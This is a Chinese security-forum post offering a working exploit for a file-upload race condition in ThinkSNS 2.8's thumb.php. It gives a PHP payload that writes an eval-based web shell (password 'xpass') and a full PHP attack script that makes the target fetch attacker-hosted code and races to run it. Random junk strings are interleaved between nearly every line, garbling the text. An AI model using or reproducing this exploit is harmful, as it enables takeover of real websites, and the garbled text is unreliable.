中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
7 j) _# a% Y5 E3 C0 ~
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
5 v& Y. u" D% L8 M1 \8 g% @7 O. c4 C
漏洞文件
! R9 I4 p7 J( ~0 r0 m
存在漏洞的文件为:thumb.php
+ d% H# n$ H, a! |9 a, B
作者:韦鲲鹏
: _( G& V8 f6 u$ `4 _9 M( h$ F6 c
1、 准备如下PHP文件并上传到服务器(自己的)。
* r+ Q* M: O$ `& r
文件内容如下:
( a, Q1 k& Z/ V2 T2 f' j. `& f+ d
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
. \# N+ Y/ m1 b Z! `4 O" X% x8 Y
2、 计算出临时的文件名:
0 m) H! O% t2 P2 E; p9 _2 s6 }0 @5 V1 ?
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
+ s) {. z) @9 j
3 U; `" M3 v& V% ^7 j9 v) Z
3、 上传临时文件。
5 G4 J2 ~. d& P/ B8 E9 S" y5 v
4、 访问临时文件。
/ [3 `5 l9 ~$ ~. W$ P# r
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
" n3 u$ p( z, g- \& r; t
Exploit文件内容如下:(这个我就不详细解释了)
+ w$ o6 z/ Z: g6 B$ \* a0 D
<?php
* K7 o, C& J/ b' e5 l+ P
error_reporting(0);
( c% c, e) q B) s: \* H$ i
set_time_limit(0);
+ ]( ]2 F) O+ x! s( h' _( h- I
ini_set(“default_socket_timeout”, 5);
3 [" O( `6 @2 Z" M& o
function http_send($host, $port, $headers) {
5 c% e$ q$ B* N( V
$fp = fsockopen($host, $port);
9 C% d b L/ p9 }% N \
if (!$fp) die(‘Connection -> fail’);
, j7 `- C8 [- Y8 j+ }6 Y
fputs($fp, $headers);
) w" i1 K5 D% C% N9 x( H5 }6 H
return $fp;
! j9 F) ] U4 O6 v
}
! m& @1 r$ [% }
function http_recv($fp) {
* m; t6 Z* @" m/ X
$ret=”";
* b# \$ a* R& J" }) z
while (!feof($fp))
/ `5 u" v8 a9 I
$ret.= fgets($fp, 1024);
0 j; l1 n1 `+ L: K, s8 l
fclose($fp);
* S. a3 T- {" X9 R# m
return $ret;
+ ?$ A; u' S# |: W0 g; U9 K) h
}
. L0 r: Y* ~* D k E7 Y
print “\n# ThinkSns Arbitrary File Upload #\n”;
! _; R5 L& C1 P: N1 w/ f
print “# Discovered by 韦鲲鹏 #\n\n”;
& {; Q( D6 }( N4 }
if ($argc < 4) {
& N; j4 Y% K) Y4 d- a' p
print “Usage: php <host> <path> <romote_url>\n”;
) ~; g9 `1 o2 l$ q; a. n# ^" g
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; K3 _" c* {6 H" J; H' g
die();
0 A) c1 @1 `$ Y4 V" a2 Y
}
: c2 w" K2 b" R# G; {' q
$host = $argv[1];
o8 K. I) A+ k: ^6 a0 U ^0 R
$path = $argv[2];
& ^- ^! Q; I' |& R/ M
$url = $argv[3];
9 A: e+ Y- u: j' i
$i=0;
( m6 N. D2 y Q X
//上传数据包
. N0 [* R& b/ `3 h$ t9 P. _
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" Z$ K7 Z. ]% [) B% T
$headers_up .= “Host: “.$host.”\r\n”;
& t" l$ q% [7 h! E6 R t
$headers_up .= “Connection: close\r\n\r\n”;
- Q' q6 g) J' ~8 C* D h
echo $headers_up;
+ S9 g$ l6 u& ?8 |8 W) p. p# X
//临时文件访问数据包
" R2 N1 O Z4 w- @# Z
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
, Z+ N7 h0 ^! e/ V
$headers .= “Host: “.$host.”\r\n”;
4 N! Z- N6 \* X. e% y( K/ l
$headers .= “Connection: close\r\n\r\n”;
$ a* m; N- z& c) I7 u8 z `! ~
echo $headers;
+ m- |' X9 `, C) V, _
while(++$i<10) {
' T- E5 A m0 F4 @; H2 }( e. J
fclose(http_send($host, 80, $headers));
! e U* z' R1 w$ E* o
}
- O# l/ I6 C, C( `8 i" u- Q- q
fclose(http_send($host, 80, $headers_up));
( [+ F& O6 ?7 q I* V$ X0 h
while(++$i<50) {
. N0 O3 l: p, Z& z2 u
fclose(http_send($host, 80, $headers));
8 X+ B% \* Y8 i/ O0 m" l
}
, I3 O. F5 r' N7 o7 M4 g
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
4 C, S) a: B; t) c: s* A
$headers .= “Host: “.$host.”\r\n”;
+ [; G# U. K) \. v! P
$headers .= “Connection: close\r\n\r\n”;
$ q9 ]2 f' J& b: { A a+ q5 S: H+ Z
$res=http_recv(http_send($host, 80, $headers));
# ]% i& L2 f9 s4 \
if(preg_match(‘/200 OK/’,$res)) {
5 L4 D k. b2 ]/ [, e
print “Success!\n\n”;
1 J# f2 x, r. n2 W
} else {
0 P- t5 D! w9 t) h5 g
print “Fail!\n\n”;
4 J+ E* N# P& I' Z, z
}
" d5 d3 H0 D0 Y! `1 ~; d/ }0 D9 A
?>
5 k8 J. _# i q- ?" S% w) s j
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2